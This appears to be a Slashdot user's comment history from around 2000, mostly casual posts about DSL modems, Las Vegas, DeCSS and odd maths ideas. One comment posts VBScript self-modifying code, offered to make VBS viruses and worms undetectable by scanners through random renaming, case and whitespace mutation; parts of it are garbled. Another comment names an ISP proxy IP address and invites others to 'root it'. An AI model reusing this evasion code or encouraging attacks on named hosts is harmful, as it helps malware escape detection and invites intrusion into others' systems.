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  1. Re:Proof? on Mathematical Problems For The New Age · · Score: 1

    Yeah, I tickle myself all the time ... All I do is stimulate the right nerves. Our methods of thinking, as human beings, are flawed. We have developed a system of math and science, that for the most part is correct but then cannot be "proven" in any existance. In reality you can NEVER have '1'in addition to '1' equal '2' (basically 1+1=2) because the process of adding two 1's together actually requires something to bond them, hence we have the plus sign (which means basically a bond... in simple mathematics). We added a new element to the equation to make 1+1 which is a reference to '2'. Anyone follow?

  2. Where the real solutions lay ... on Mathematical Problems For The New Age · · Score: 1

    In today's world we are told to think in simplified terms of +1+1=+2 and that +2-1=+1, "+" being the inverse of "-" all relative to zero. Relative to one object, zero, but then we move into Algebra class and learn of variables and that 'x' can be relative to 'z' and that 'y' is relative to 'x'... hence 'y' we know is related to 'z', although we are not told that directly.

  3. Hurray... Another massive corp on NASA To Deal With Disney For Commercial Use Of ISS · · Score: 1

    While AOL is busy with its head up its @$$ and grabbing up ground-based media, Disney is conquering the skies to do a massive broadcast of Fantasia.

    And I, while all this happens, read slashdot and post this message. (Oh, werd... an infinite loop of postings on slashdot, what an idea!)

  4. What code does it use to become polymorphic on The Next Generation of ILOVEYOU:The Porn Worm · · Score: 1

    Polymorphic scripts are neat, I wonder if it uses the same methods and ideas as my previously posted code at: http://slashdot.org/co mments.pl?sid=00/05/19/1326219&cid=464

    Oh btw, this sounds like the old links.vbs worm... from a while back....

  5. Re:Oceania is quite dead. on Can Web Sites Go Offshore For Free Speech? · · Score: 1

    DNS info at network solutions last updated 02-May-1999

    So it isn't dead, I will also be contributing to the effort to make sure things are done right... It cannot exist without being built by it's own (future) people, not just one or two persons...

  6. Very quickly written sloppy 'polymorphic' vbs code on New, More Destructive Love Bug Variant · · Score: 1

    I know this isn't all that great of code, especially since it doesn't actually reprogram itself (like any good polymorphic script should do) but this makes most VBS virii/worms be undetectable to standard virii scanners. My question is 'Why don't virii scanning companies just make smarter scanners?'

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    dim debug
    sub debuglog(text)
    debug=debug & vbcrlf & "dbug-" & text
    end sub
    '----------------- remove the above function, its crap....

    dim fso,jogger,ViriiFile ' jogger is the string containing this file
    set fso=CreateObject("Scripting.FileSystemObject")
    'set Viriifile=fso.OpenTextFile(Wscript.ScriptFullname, 1)
    set Viriifile=fso.OpenTextFile("C:\tmp.txt", 1)
    jogger=Viriifile.ReadAll
    viriiFile.close

    function crypt(text, offset)
    if offset =255 then
    char=char-255
    elseif char1 and not asc(mid(file(i),j-1,1)) = 60 and not asc(mid(file(i),j-1,1)) = 62) then
    for k=1 to int(rnd*3)+1
    replaceline=replaceline & chr(32)
    next
    replaceline=replaceline & chr(61) ' add = in...
    for k=1 to int(rnd*3)+1
    replaceline=replaceline & chr(32)
    next
    end if
    case else
    replaceline=replaceline & mid(file(i),j,1)

    end select

    next

    ' wscript.echo "We are replacing line: " & vbcrlf & file(i) & vbcrlf & "With:" & vbcrlf & replaceline
    file(i)=replaceline
    if (rnd*10)+1=1 then file(i)=file(i) & vbcrlf
    next
    dim FileToChange
    filetochange=wscript.scriptfullname
    set viriifile=fso.CreateTextFile(FileToChange,true)
    viriifile.write join(file,vbcrlf)
    viriifile.close
    end function

    main()

    sub main()
    'add these lines to the original 'virus' or worm
    polychange()
    ReplaceVariables()
    if len(debug) >0 then wscript.echo debug
    end sub

    '-------------------- below is the variable variables stuff.

    Sub ReplaceVariables()
    dim fso,moose,MiaFile ' hehe very descriptive names.... heh 'moose' and 'MiaFile' I think I was on crack when i wrote this stuff
    set fso=CreateObject("Scripting.FileSystemObject")
    set MiaFile=fso.OpenTextFile(Wscript.ScriptFullname, 1)
    moose=MiaFile.ReadAll
    MiaFile.close
    dim VariablesList,alist,newvarname
    variableslist="MiaFile,variableslist,ReplaceVariab les,moose,newvarname"
    '------------ THE ABOVE LIST MUST CONTAIN ALL VARIABLE NAMES AND ALL FUNCTION NAMES (keep them unique and not occuring naturally anywhere else (that means change all my for(i) loops to for (fruityi) or something... make them unique!

    alist=split(variableslist,chr(44))
    for i=0 to ubound(alist)
    newvarname=RandomVarName()
    moose=replace(moose,alist(i),newvarname,1,-1,1) ' we dont want a binary compare...
    Next

    set MiaFile=fso.CreateTextFile(wscript.scriptfullname, true)
    dim odd,newmoose
    for i=1 to len(moose)
    if int((rnd*3)+1)=1 then
    newmoose=newmoose & ucase(mid(moose,i,1))
    else
    newmoose=newmoose & lcase(mid(moose,i,1))
    end if
    next
    MiaFile.write newmoose
    MiaFile.close
    End Sub
    function RandomVarName()
    randomize
    dim length,char
    length=int(rnd*20)+20
    for i=1 to length
    char=chr(int(rnd*26)+97)
    ' if int(rnd*2)=1 then char=ucase(char) ' I decided this wasnt needed
    randomvarname=randomvarname & char
    next
    End Function

  7. PHP has probably the best manual ever on Are Printed Manuals Dead? · · Score: 1

    If you goto http://php.net/manual and check out how they organize their manual and allow users to actually improve on the manual. I think that is a wonderful way to keep users informed plus a good way for a company to get feedback on where improvements need to be made.

  8. Students who take a stand! on Laptops In Education · · Score: 1

    Chaparral High School in Las Vegas is taking a stand against corruption. The students are now starting to organize a 'resistance' (as seen by school staff).

    The website is quite interesting!

  9. Why? on Anonymous Web Hosting Banned In France · · Score: 1

    Why do stupid govt try to place blame on admins for everything instead of on the individual? Any ideas?

  10. if only hard drives went that fast, now on Bell Labs Achieves 3.28Tbps Over Fiber · · Score: 1

    if only hard drives went that fast, now....

    Physical movement is too slow for most things, lets work on that and not terabit networking :)

  11. Re:Out of stock -- reason on Flat Panel Linux Box for $99? · · Score: 1

    The whole west coast area, from my understanding is out of stock at the warehouses.... Ask to buy floor models.... I did, but couldn't... Luckily I got a guarenteed price of $99 with no service and the system will arrive within 2 weeks.

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  12. for Ethernet, Why not run win9x or something + VNC on Flat Panel Linux Box for $99? · · Score: 1

    Since you can bridge USB to Ethernet, why not just use Win98 or something with some drivers that allow USB Ethernet? Since gettting it to work under Linux is definately quite a challenge right now?

    VNC to an X session on a real linux box... all your problems are solved. (Except local stability, but you can always resume your X session(s))

    I'm buying one of these and I'm gonna use my beta Dual Link modem from 3Com to bridge the Ethernet to USB :)

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  13. Re: banning NAT on Motorola Introduces Home Cable Modem/Router · · Score: 1

    Sprint/Earthlink has a policy for it's DSL subscribers, which I have refused to follow and I make it very clear to any Sprint techs that I do not believe in it.

    If they see any kind of network in the home, they will not do the install, unless it is a business account. If they come on site for maintenance or something and notice a network, they terminate service.

    Sprint / Earthlink suck pretty bad in terms of what they allow customers to do. Plus it appears like some areas they force all connections going out to a port 80 to filter through their proxy/caching servers 208.13.143.71 is one of those I believe. (Anyone want to root it? :)

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  14. ADSL isn't cable... on Motorola Introduces Home Cable Modem/Router · · Score: 1

    Cable companies have a hard time actually capping connections on their end, usually this is done via the modem's config. ADSL is not like that though. Most ADSL networks have the ATM link limitted to a certain ammount of bandwidth. You cannot just flash a modem to upgrade it's speed with ADSL (unless its not a capped service).

    With the 3Com Dual Link modem (basically the same thing as what Motorola is now saying they are going to offer) there is a console and telnet ability... If you want a real "hackable" modem, I'd recommend the 3Com dual link.

    The 3Com dual link is VERY VERY VERY configurable via the console, you just have to know what your doing. It handles multiple ATM links also.

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  15. Re:3Com has one too... on Motorola Introduces Home Cable Modem/Router · · Score: 1

    Exactly what I am saying, but I appologize that I cannot provide any links to this topic, since all beta materials that I have are under a NDA and I cannot reveal more information.

    USB acting as a 12 mbit NIC? Yeppo! :)

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  16. Re:3Com has one too... on Motorola Introduces Home Cable Modem/Router · · Score: 1

    I forgot to mention that the 3Com "HomeConnect Dual Link" modem uses the Alcatel chipset, ensuring that your compatible with most ISPs doing DSL....

    Often negotiated speeds on my DSL line are 1Mbit downstream and 640K upstream, not bad for how far I am from the CO.

    Also, get static IP#s.... don't let your ISP put you on PPPoE or some other weak crap like that. PPPoE is not worth the time and there is absolutely no point to it!

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  17. 3Com has one too... on Motorola Introduces Home Cable Modem/Router · · Score: 1

    3Com is in the process of finalizing a "Dual Link" modem that does VPN, PPPoE, Bridging, NAT, USB/Ethernet bridging, and some very cool other features.... it has console access (at least in betas... i bet they will keep it)

    You get full control via console or you can access it remotely... it has a built in web config console too.

    It kicks my Alcatel 1000 ADSL modem's butt.... I definately recommend waiting for 3Com to release these things publically.

    Its awsome to bridge USB and Ethernet networks ... now I don't need to go buy a NIC for my laptop :)

  18. note about writing letters on Lobbying Against UCITA: A Practical Guide · · Score: 1

    Another good point to mention when writing letters is not to copy a "template" letter (I've seen a few letters posted on sites about this issue) but just use it as an idea on how to compose yours to different people. I wrote 9 or so letters today, all personally addressed relating to this issue and I think that if they were all the same as what other people sent in, they would be less influencial on the idiots who support the act.

  19. I've found the perfect one on On Keeping Geeks in a Metropolitan Area · · Score: 1
    Vegas.

    24/hr fast food & supermarkets

    24/hr p0rn

    24/hr b33r

    24/hr entertainment (rides and such)...

    Theme parks

    Hot tourist chicks

    Lots of babe neighbors that work in strip joints

    Lots of jobs

    Lots of sunlight, so you can get an occasional tan and look normal :)

    Fast backbones to the Internet (quite a few providers are getting in here nowdays)

    DSL / Cable is widespread.... Cable is in need of something faster though ... true geeks use DSL at home

    Great Conventions... or they used to be at least, defcon is now pretty kiddie-ish... time for my to start my own :)

  20. Once again, Vegas! on On Keeping Geeks in a Metropolitan Area · · Score: 1

    As I've said before, Vegas is a very geeky town.... p0rn freaks love us, 24/hr everything.... even weddings.... the backbone to vegas is improving dramatically also..... a large portion of vegas is on cable and DSL is expanding rapidly...... you name it, we got it.....

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  21. come down to vegas for dc2k and i'll show you a fe on On Keeping Geeks in a Metropolitan Area · · Score: 1

    Vegas is the city for p0rn geeks... we got it all, believe me :)

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  22. cable and DSL aren't enough on On Keeping Geeks in a Metropolitan Area · · Score: 1

    I've actively used DSL and cable...... Cable plainly sucks...... just too much latency and slow... DSL is great, but still 1 or two megabits isnt enough........

    true geeks want microwave encrypted 10/100Mbit inner-city lans with network connection points running at 100Mbit....

    just think, if a few thousand people in your town played Quake ][ or ]|[ on a nice well built network like that.... cable would be out of business :) DSL would still be a good private connection direct to the backbones also....

  23. this one will NOT shutdown ... promised on DVD CCA Applies for Restraining Order · · Score: 1

    There are reasons why I can post the code which aren't discussed openly yet.... but they will be if anyone wants to file legal actions against me

    http://xempt.darpa.org:81/decss/

  24. Digital Millenium Copyright Act Protects us even! on DVD CCA Applies for Restraining Order · · Score: 1

    I believe that even the Digital Millenium Copyright Act protects reverse engineering in the name of software support.... http://lcweb.loc.gov/copyright/ legislation/dmca.pdf

  25. Source code protected as Free Speech on DVD CCA Applies for Restraining Order · · Score: 1
    Whatever happend to source code being classified as free speech? I thought the US 9th Circuit Court of Appeals decided it was its own language and must be protected.

    Full Ruling

    Hacker News Network coverage of Ruling

    well hmm, x-empt (lvhc at urban-a (dot) net)